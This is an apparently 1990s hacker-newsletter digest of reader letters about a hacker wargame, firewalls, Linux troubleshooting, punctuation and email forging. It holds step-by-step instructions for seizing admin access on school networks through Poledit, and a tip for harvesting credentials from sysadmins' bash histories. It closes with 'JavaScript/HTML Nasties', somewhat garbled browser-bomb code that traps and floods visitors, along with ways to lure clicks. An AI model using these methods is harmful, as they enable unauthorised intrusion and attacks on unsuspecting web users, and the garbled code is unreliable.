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Table of Contents:
* Calling all hackers: multinode freenet
* Poledit hacking
* Firewalls
* Free Software News
* New punctuation rule!
* More whois help
* Forging perfect email
* The trouble with bash histories
* Win 95 stuff
* Open VMS question
* Looking for crack dictionary en espanol
* Linux questions
* Looking for mentor
* Javascript/HTML nasties

* Jobs for security experts
*** Calling All Hackers: Multinode Freenet
From: Bernz

Mr. Un4scene's passionate (if I might call it that) letter struck a chord in
me. I am also 20, largely self-taught and have the same amount of skills
that he does. I am also highly annoyed at the bragging and the
elitism of the current hacking community. Some consider me "elite" some
do not. It shouldn't even be addressed. Not a single person is born with
any sort of knowledge. -THAT- is the incredible beauty of the computer
community in general. A basic imbecile like me can work and study and
achieve a goal. Looks do not count (but I look just like Brad Pitt. no,
really, I do ;) and backgrounds and the like do not matter at all. It's
one's attitude, desires and basic willingness to learn that I loved about
the hacker community. The point of hacking (at least back in "the day") was
simply to learn. And I and Un4Scene have done that. We (and not to toot our
own horns) are good examples of just where the hacker ethic can get someone
if utilized properly.

You can write a script that does a DOS (denial of service) and call yourself
a hacker; but likewise you can "create great works of art and beauty" on a
system and call yourself a hacker as well. That's the kind of hacker I wish
was in this world more.

To that end, I have constructed a multi-node freenet. This is a call to
everyone who wants to participate CONSTRUCTIVELY to the hacker community
in general. This system is devoted to the wonderful creativity with
numbers and images and the like that hackers seem to posses. If that
sounds like you, if you want to learn and do it right, feel free to sign
up on the website.

I hope that new hackers get off on the right foot. If I can give back what I
have taken from the hacker community, I'm a happier boychick.


David Bernick
System Administrator, Owner

*** Hacker Wargame Update
We have loans of an Indigo running Irix 6.2, a Sun SPARC 1 running SunLinux,
a Symbolics box, and a 80486 running Linux 1.3 for the upcoming Hacker
Wargame. We are testing them out now, making sure they have lots of
wonderful holes still left in them so you can break in, but closing denial
of service vulnerabilities. Next step: put them on a T1!

Please give us feedback on the rules you think we should follow. Right now
we think a good set of rules are:

1) Start with a known insecure system that can easily be broken into from
the outside. Keep it insecure for a month so all the newbies can have fun
breaking in.

2) No credit for denial of service attacks.

3) After the first month, anyone who gets root would be permitted to secure
the system so others can't break in.

4) We would, however, require that the Indigo be left running services and
software comparable to what a commercial Internet Service Provider would
offer. We will also require that remote syslog and TCP Wrapper remain
enabled and no editing of the log files.

5) Anyone who gets root wins a free shell account.

6) Whoever is root should not delete any user accounts.

7) We would help cover the cost of the T1 by selling shell accounts on this
computer for $10 per month. If you can figure out how to use your shell
account to get root (it is easier than breaking in from the outside), then
your account becomes free.

8) Use of the Hacker Wargame computers to commit crimes will be strictly
verboten. Since some FBI dudes may be playing the game, it would be
suicidal to try to run a crime rampage off the Hacker Wargame computers.

9) All logins must be through secure sockets layer or secure shell.

10) We would pipe the syslog file to both a Web site and an ftp server so
anyone may evaluate the techniques being used to both break into and secure
the system.

11) We will allow whoever is root to post his or her boasts to a Web site on
the Indigo. Root should leave previous boasts on the Web server.

12) As the game begins, several members of the dread 505 gang will hide root
kits and other goodies on these systems. Run a port scanner and see if you
can find a 31337 way to get in. However, watch out, they may play some
jokes on you.

13) How would we enforce these rules? We have the boot disk and the dread
K-rad elite 505 gang running the game, muhahaha!

*** Poledit Hacking

From: Ked Shayer

Hi, I just though I'd do another method of hacking most school(any state
or small private school with a 1 or 2 room network) networks. Most of
them run Poledit(at least they do here in the UK...) So, here goes. Get
Poledit on a disk. Open it up and edit the registry, get your user/group and
enable the passwords control panel, enable remote administration. Remote
admin through Poledit to the server machine. Edit the config.pol to add a
user with full access(say admin666). Then, if there are any other things you
need to kill work on them. End any NSM client tasks FIRST! You will then
have approx. 1 min before the person in your server will notice, if they are
on the comp... Work fast

PS: What is IRIX
PPS: www.be.com
PPPS: www.mirrorworlds.com
PPPPS: wow! pses are cool.
P.PPP.PPP.PPP.S(a rythmn!)

Okay, I'm gonna shut up now, have a nice browse

[Carolyn: Irix is a System V Unix that runs on Silicon Graphics machines. It
is best in the world for graphics, great for pumping bits in
telecommunications sessions, but poor at handling lots of user accounts.]
*** Firewalls
From: Modify

&gt>From: Bob Jonanson
&gt>&gt>What do you think is the best firewall out there??
&gt>&gt>[Carolyn -- Depends on what you use it for. An ISP needs a different one
&gt>from a big company. TCP wrappers with secure sockets layer is good for an
&gt>ISP, with Kerberos and no rhosts stuff for the internal LAN. But that's just
&gt>my opinion.]

[Your opinion sucks and shows that you lack knowledge of firewalls. TCP
wrappers are not firewalls!!! An ISP needs a different one from a big
company??? What the hell does that have to do with anything... I am
partial to FW-1, IBM SNG, Raptor, Gauntlet, and if you don't have the
money just use a packet filtering router because remember firewalls are
a concept!!! Nothing you stated above has anything to do with a
firewall except maybe encryption!]


[Carolyn: Funny, lots of other people think TCP Wrappers are an essential
element of a good firewall. For example, see the book "Maximum Security"
published by Sams.net and available in Barnes and Noble bookstores or at
their Web site. This book includes a CD-ROM with scanners and exploits --
perfect for the intermediate hacker.
To be more specific, TCP Wrappers can keep logs of the goings on between
your computer and the outside world, but do not halt access to attackers
like a firewall. Some sort of logging utility such as TCP wrappers should
be a part of any firewall. Look at TCP wrappers as a burglar alarm.

I have been reading GTmHH for some time now. I'm not a hacker nor am I a
cracker but I do know my computers (maybe someday *grin*). What I really
like to hear is some in-depth explanation on how firewalls work and how to
trick them. I'm using a computer which passes through the corporate
firewall. I can use http but I can't use ftp. The "other" PC's which uses
windows 95 use a proxy client which I don't have the luxury of using since
I'm using a Sun Solaris 2.5 x86. I have search the web for ftp proxy
clients and been fortunate enough to find codes. Unfortunately I'm having
trouble compiling them.

Can you please help me. Most of the cool wares that I want downloaded uses
ftp downloads not http.

[Carolyn: Believe it or not, there is a free program for Windows 95 called
"What's Up" at http://www.ipswitch.com which will get you lots of
information on computers inside firewalls. Tip to sysadmins: turn echo off
on any box you don't want What's Up to see through your firewall.]

*** Free Software News
January 22, 1998, Netscape announced it would distribute source code for its
browsers and allow anyone to develop freeware from it. According to Tasty
Bits from the Technology Front:

Wired muses [9] on the grand experiment in "freed software" on
which Netscape embarked last week [10]. It's an open question
whether Netscape can engage developers enough to halt Navigator's
slide in the browser standings, let alone whether the company will
be successful in "herding the cats" on such a scale. ...In fact
Netscape has requested the counsel of Eric S. Raymond, author of the influential
paper The Cathedral and the
Bazaar [11], on licensing terms, development models, developer re-
lations, and so on. (Raymond hints that he has been asked to meet
with other Silicon Valley CEOs on the same trip.)

[9] http://www.wired.com/news/news/technology/story/9966.html
[10] http://www.tbtf.com/archive/01-29-98.html#s03
[11] http://www.ccil.org/~esr/writings/cathedral.html
How many hackers are there? If running Linux is a good marker of being a
hacker, then there are at least several million of us. According to an
article from Tasty Bits from the Technology Front (TBTF),

The free software phenomenon is big and growing fast. It's inher-
ently difficult to estimate the size of the Linux market because
there is no central body controlling its distribution, and because
the software is available for free download from numerous sites
around the world.

First some recent numbers on the commercial competition. A new IDC
study [12] indicates that Windows NT shipments outpaced commercial
Unix in 1997. Windows NT grew at 78% year-on-year, while Unix grew
at 15%. The numbers below presumably refer to installations of NT
Server, though the news.com article does not make a distinction
with NT Workstation.

OS thousands

NT Server 1300
NetWare 900
Comm'l. Unix 717
OS/2 226

In a SunWorld Online article [13] on Linux support by Red Hat, one
of the Linux resellers, an IDG analyst estimated 1997 Linux instal-
lations at 2 to 6 million, putting Linux on a par with the Macintosh:

OS millions

NT Workstation 7+
Linux 2 - 6
MacOS 3.8
OS/2 1.2

(Another SunWorld article profiles Linux use in the business world
[14]. Note especially the sidebar case study of a system administra-
tor who runs 72 print stations worldwide on Linux.)

An often-quoted source of Linux numbers is a year-old white paper
[15] by Bob Young, CEO of Red Hat. Young notes surveys by Unix maga-
zines that point to anywhere from 10% to 34% of their readers using
Linux. Here are Young's estimates of the number of Linux systems
extant through 1996:

End of
year millions

1993 0.1
1994 0.5
1995 1.5
1996 3 - 5

In the SunWorld Online piece [13] Red Hat's PR director estimates
that in 1997 there were between 5 and 7 million Linux systems

Let's work our way to a new estimate of the 1997 Linux population by
other means. At a talk last week by Red Hat staffers at Softpro [16],
Donnie Barnes estimated that 400K Red Hat CDs will be sold in 1998.
In another context he mentioned that each major release has sold
roughly twice as many copies as its predecessor. Taken together
these factoids lead to a rough guess of 200K CDs sold in 1997. Fig-
ures from Softpro indicate that for 1997 the sales of all other
Linux CDs combined added up to about 25% of Red Hat sales. Softpro
doesn't carry all the avaliable CDs; in particular some brands that
are big sellers in Europe are not represented. So let us hazard an
estimate of 300K Linux CDs sold worldwide in 1997.

FTP downloads outnumber Linux CD sales, according to an ongoing
survey at the Linux Counter [17] site. These data stretch back to
1994 and so obscure the increasing popularity of the Linux CD pro-
ducts. If we assume that FTP downloads outnumbered CD sales by 3
to 1 in 1997, we arrive at about 1.2 million Linux media kits. CDs
typically get used for more than one installation, either by the
purchaser or by someone she passes it to (there being no restric-
tion on multiple use, of course). In the extreme case a system
administrator might install scores of Linux machines from a single
CD or FTP download [14]. If we assume the multiple-use multiplier
is 5 or more, we're in the realm of Red Hat's estimate of 5 to 7
million total Linux systems in 1997.

[12] http://www.news.com/News/Item/Textonly/0%2C25%2C18542%2C00.html?pfv
[13] http://www.sun.com/sunworldonline/swol-01-1998/swol-01-eyeoncomp.html#2
[14] http://www.sun.com/sunworldonline/swol-01-1998/swol-01-linux.html
[15] http://www.redhat.com/redhat/linuxmarket.html
[16] http://www.tbtf.com/archive/01-12-98.html#s07
[17] http://counter.li.org/reports/machines.html
TBTF home and archive at http://www.tbtf.com. To subscribe
send the message "subscribe" to tbtf-request@world.std.com. TBTF
is © 1994-1998 by Keith Dawson, dawson@world.std.com.
From: Kenn Evitt

>A true hacker enjoys exploring and working things out- programming is one of
>the best ways to do this. Why not give away the fruits of your fun? Some
>would say that being paid for it is selfish- although I doubt many people of
>the cracker mentality would understand that: a typical cracker would, I
>agree, like to take- breaking into a system, pirating "warez" and the like,
>but not give. After all- where, they would say, is the gain in that?
>- Strider

Civilization is the process of setting men free. Men do the work they
love and trade it by mutual agreement to mutual benefit so that both may
pursue their own productive avenues. Money is merely a tool to
facilitate that process. Being paid for anything IS selfish, and I think
that a rational selfishness is a virtue not a vice. I will not work for
free, because I value my life, and my time. I am proud of the products
of my efforts. But you've damned yourself, you're selfish too. If their
were no people, no community of intelligent, productive people willing
to make something to mutual benefit (like Linux), then you're all
selfish too. But is this bad? Is this evil? Think about it.

*** Grammar Debate

Cerenyx the Dark One

&gtCarolyn, if you want to end a sentence with a period, by all means.
&gtHowever, take note that your periods take place INSIDE the quotes.
&gtExample: for example "pico myfilename."
the period appearing inside the quotes? This may and could
the newbies. If you put them outside the quotes like this: for
"pico myfilename". It will clear up a lot of misunderstanding.

[Carolyn: Good idea. Given the flames and anguish caused by the punctuation
in that GTMHH, I now realize how confusing proper English punctuation can be
for many hackers. In the English language, proper grammar requires that
commas and periods go inside the quotation marks, while colons and
semicolons go outside. Following your suggestion will also save enormous
quantities of Internet bandwidth by ending all the transmission of flames
about whether to follow English punctuation rules or use hacker punctuation

P.S. If grammar mavens launch a flame war over my abandonment of proper
punctuation rules, I may just quit using periods entirely*]
*** More Whois Help
From: Un4Scene

>From: Bob Jonanson
>>I'm getting really into this stuff!
>>When I do a whois @toad.net it gives me about 250 addresses. How do I
>tell it to just display a couple at a time so I can see more than the
>last 20?

Another easy way to resolve this problem is to simply enlarge the size
of your telnet buffer. I will use the standard Windows telnet program
as an example since that is probably what most people are using. In
telnet go to the 'Terminal' menu, then go to 'Preferences'. Here, near
the bottom left corner you will find the buffer size setting. If you
increase this to, for example, 200 instead of the standard 25 and then
resize your telnet window to something more suitable, you will then be
able to just scroll up through your telnet window to view everything you
missed. Beware though, if you enter a program such as pine or pico, a
program that requires a standard size window, then when you leave that
program it will automatically reset your buffer to the standard size.
This will not be reflected in your settings though. Just go back to
your 'preferences' window and press enter again to change it to the
larger buffer.

*** Email Forging
From: Un4Scene

>>Another note on email forging for the absolute newbie:
I don't believe this to be reliable. I have tested this before and I have
never seen it done where the dynamic IP of the sender doesn't show, or where
the message id tag can not be traced back to the original host.
I'm not saying it's not possible with this method, I'm simply saying
that I've never seen it proven to be 100% anonymous.



[Carolyn: You can do perfect email forging on a computer that runs a version
of sendmail prior to 8.8 AND does NOT run identd but DOES allow mail
forwarding. But it may take awhile to find a computer that meets all these

*** The Trouble with Bash Histories
_ From: Un4Scene
Miss Meinel,
I can understand why people are so worried about their bash histories
being viewed by others. When I first came to work where I am now
everybody's bash history was world-viewable, including everyone on the
technical staff's. They had been using their own shell accounts to add
new users (via sudoers status) instead of root and all the new accounts
they had added were shown in plain text to anyone who cared to look.
This, by the way, is an excellent place for hackers to find other
peoples accounts. Find out the sys admin's login and check his/her bash
history. You just may get lucky, if the sys admin uses bash and is not
careful with permissions then chalk one up for you.
I believe the easiest way to solve this problem (for a regular user)
is to change the permissions of the file. Please keep in mind that I am
using a server running Solaris 2.6 and UNIX SVR4, the means may be a
little different for Linux users, though the effect is still the same.
You can change your permissions to '000' which translates to
'----------' for your permissions. Not only does this prevent anyone
without root access from viewing your history, but I believe it prevents
you from writing to it. Therefore all your problems with it are solved,
and yes, you can still use the history feature by using the up arrow to
scroll through your last commands. On my server the command is:

chmod 000 ./.bash_history


[Carolyn: That is a great precaution for people to take who find it useful
to keep a bash history for themselves. In fact, I use bash a lot partly
because it is so nice to use arrow keys to replay commands I gave earlier.
By redirecting the bash history to /dev/null, as long as I am logged in, I
can still replay that session's commands even though they never get written
to disk. The biggest reason, however, that I use bash is because I am a
spastic typist.]

*** Win95 Stuff
From: Don Hersey


During a call to tech support I learned of a cool prog that comes with
win95. go to run and type sysedit

it opens (in ascii form)


you can do some heavy stuff in there.

love gtmhh

Don Hersey

sysadmin for Hersey Associates
From: Bruce Conklin

Do you enjoy the process of getting in to Windoze Control Panel;
numerous double-clicks and lots of windows left open. Well, there IS
a much easier way.

You can add Control Panel to the top of the Start Menu. Then all you
have to do is open Start Menu and place your cursor on Control Panel
and all the options will appear in a cascading Windoze menu. Here's

1. Open Explorer

2. Go to Windows/Start Menu and create NEW folder under Start Menu

3. Use this name EXACTLY:

Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}

I have put the name on a separate line so you can cut and paste it to
the new folder icon.

Now you will have a nice pop-out hierarchy for Control Panel at the
top of your Start Menu. Have fun.
*** Open VMS Question

From: Matthew Weigand

I have a minor problem that I wondered if you could,
(or would;) help me with. The system administrators
at my school have a policy against mudding, which
they have held for a few years, since the days when
computing resources on this campus were scarce. Now,
computing resources are always open, and they have a
much larger network here. Well, anyways, they still
have the same policy.
Most of the student body has an account on an OpenVMS
system, and the sysadmin has engineered an antimud
program that severs the telnet connection to the
school's OpenVMS system when you use your account to
telnet to a certain address. At the very least, I'd
like to know how it works, I'm curious. And at the
most, I'd like to know if there's a way to trick it.
Even if I telnet to a different address, then to the
taboo address, the sysadmin can tell what I'm doing.
What can I do?

*** Looking for Crack Dictionary en Espanol
From: Enzo Carriani

Hi, my name is Enzo. A few days ago, I read an article
about the Phf hacker method to obtain password file.
Im very interesting about this, because i've my own
server and work in it like root too.I get the 2 most
useful Craker passwd. :John the Ripper and Jack, but
there are not in the web many SPANISH
dictionary(files that only contains spanish words).
So, to test my server, John and Jack doesn't work so
well with their original dictionaries(for example,
Puffs.dic).Do u know some web site that offer an
spanish dic.? Please, help me in this, or "give me a


*** Linux Questions and Answers
From: Nezah

Could you recommend a *good* and *friendly* environment for C/C++
development under Linux (in GNU distribution) and where to get it.

From: Metgod
>I plan to make a UNIX box out of them. My question is, what type of
>Unix do the other readers of the digest prefer, also what kind of cool
>apps and utils are there? I'm doing it to learn UNIX better than I
>already do (I have some experience using it but not installing and
>administrating it). Thanks in advance.

Well, lets see, some really cool UNIX base OS would be Linux, for
instance Caldera or Red Hat.
However, I might go for Sun, it's much stronger.

I also thought it pretty funny how people have never heard of a period.
Any moron knows that. Even if you don't speak English, which you
obviously did. I know Spanish, not enough to translate though. Guess
what? They use periods as well as commas and ?'s.

From: Anthony Lim

There is something I wan to ask about Linux (Slackware 3.0).
I have some problem with my kernel. I have upgraded my kernel to 2.1.65.
After I compile my kernel... and after all those make dep, make clean and
finally make zlilo... It has an error saying that my kernel is too big. And
prompt me to use make bzImage instead. Ok now after I have compile with make
bzImage what should I do next??
After that I try to compile my modules by running make modules... it
runs but with and error "clock srew" and whatever it is. After that I run
make modules_install , it runs too but with the same error. After that I
reboot my system.... There is an error message with my modules... it says
it unable to resolved my xxxxx.o file? Besides that it also stated that it
could find my modules.dep file. I have read lots of Unix HOWTO
documentation... but it still couldn't help. So I hope that u can help
me....... Thank you very much.

I recently got red hat's Linux 4.1 for Intel and when I tried to
install it I found a problem. Linux will install fine but lilo will not
install onto my machine. I have win95 but that can't be the problem cause
the last time I tried to install Linux I formatted my HD first and started
with Linux and it still would not install lilo. the only thing I can think
of is that I have a bad install CD. red hat tech support gave me the run
around, answers lilo not loading, which has nothing to do with lilo not
installing from the install CD. I can't alter a program that doesn't exist
on my computer yet. and after they gave me the run around till the warranty
ran out for tech support they cut me from their system. so my only chance is
if someone out there can help me. I'm not a Linux god as a matter of fact I
was just learning Linux but I can't get on with my study until I can
actually use Linux and was gonna use this version to learn from. If anyone
can help or can confirm my theory that the install CD red hat sent me is faulty
I would appreciate it, thanks..

: What does lilo (not) do? Does it give an error? Does it not boot?
I am very hesitant to blame RedHat. Give us some more information about
your system and we may be able to help.

more info- when I try to install Linux(it's not on the computer
yet) Linux appears to install fine but when it comes to installing lilo the
install program errors. it just tells me there was an error and asks me if I
want to retry, goto the previous step, or goto the menu(none of which help).
lilo for some reason refuses to install on the computer, no matter if I
install it to the master boot record, the hard disk, or a floppy(which are
the 3 options the install program gives me). lilo just won't install just
gives me an error.
The computer is a gateway 2000, 124M ram, 5.1gig hard drive, 3.5" floppy,
12x CD-ROM, CD recordable ROM, and a 100M zip drive. If any more info about
the computer is needed ask away. Thanks for your time.

:Do you have 'boot sector virus protection' enabled? Something like LILO
that writes directly to the boot sector would conk right out if it was.

Ok I'll be showing my lack of knowledge here but how do I tell if 'boot
sector virus protection' is enabled and if so how do I disable and
enable(after I'm done installing Linux) it? thanks for your time, it's
really cool of you to go out of your way like this.

:What maker and model number of BIOS do you have (should say when it first
starts up.)

when I start the computer it reads:

:And you can disable it. It should say 'Hit <key>to enter Setup' once you
do that, hunt around until you find a 'Virus Protection' feature. try to
disable it.

Ok mayhap I'm blind and will kick the crap out of myself for appearing so
foolish but I can't find any way of disabling any virus protection in my
BIOS. please help, if I can't install this then I'm screwed, I'm not paying
any more for a secure version sent to me(I bought this version from RedHat),
and I don't know if I want to trust any version I could download off the net.

*** Looking for mentor

From: Josh Crane

I am in a tight situation, of no-one else's genuine concern, but very
important to me. I am looking for a person or some people who will
genuinely take an interest in my development as a hacker to both, gain
them some self satisfaction, and aid me in resolving my serious problem.

I really don't know who to talk to regarding all of this.. so please
forgive me if I'm totally out of line and barking up the wrong tree. If
I am right... I make a very good student.

Kind regards,

***JavaScript/HTML Nasties
You all know I'm not responsible for how you use this info

First thing you would have to do to become nasty is declare some mean
functions, so here goes.
I will explain each function, you will recognize my comments by the
comment tag //
of course it's in an HTML page so start it off like that
<HTML><head><title>Blah blah blah</title>
<script>function alerttrue() //declares a function
{ //opens a function
while (true){ //infinite loop
window.alert("Haha.")//alert box that will keep on coming up
}//closes function
}//closes loop or the other way around

function windowbomb()
var iCounter = 0 //counter var declares a variable

while (true)
window.open("http://www.netscape.com","CRASHING" +
iCounter++ //keeps on adding one and the loop continues browser
keeps opening

function password(){
while (true) {
prompt("Enter Password To get out of Loop:")
}// the key is there is no password it will keep asking them andthey
will have to shut // down the browser

function reloadbomb()
history.go(0) // reload this page
window.setTimeout('ReloadBomb()',1) // tell netscape to hit this
// every milisecond

</script>now we can get ready to use these
so close the head tag like so:
</head>open up the body
<body onunload="functionname()">what that did was that it will call the function you specify when they leave, such as my password or any other one
another onunload that you could have added would look like this
<body onunload="location=("yourwebpage.html")" >what that does is when they try to leave it will just reload your page, then they have to shut down their browsers and start over because they are forced to stay on you page, you could also send them elsewhere the
same way, you can also use <body onload="functionname()">
that function would be called when the page is loaded up

So, how do you get the people to run your nasty functions?

lots of ways, actually.

first you could make a link that goes nowhere and in the tag it would
look like this

<a href="" onclick="functionname()">add to that tag the onmouseover part like so
<a href="" onclick="functionname()" onmouseover="window.status='Cool
Page' ;return true">Cool Page</a>then when they go over it they will see cool page on their status window and the link will say cool page as well, they click, your function is
ran. you could take the same idea about onmouseover, and forget the onclick
and do something like this.

<a href="" onmouseover="functionname" ;return true>cool Page</a>
the second they move their mouse over it the function is ran

You could also use button so they don't see what the file name is or
anything like that.

Back to the onload= thing
you could make a mean page that when it loads up it will run one of the
nasty javascript funtions

Well, hope you liked this

You may know me as MetGod
someday I might give out my email address.

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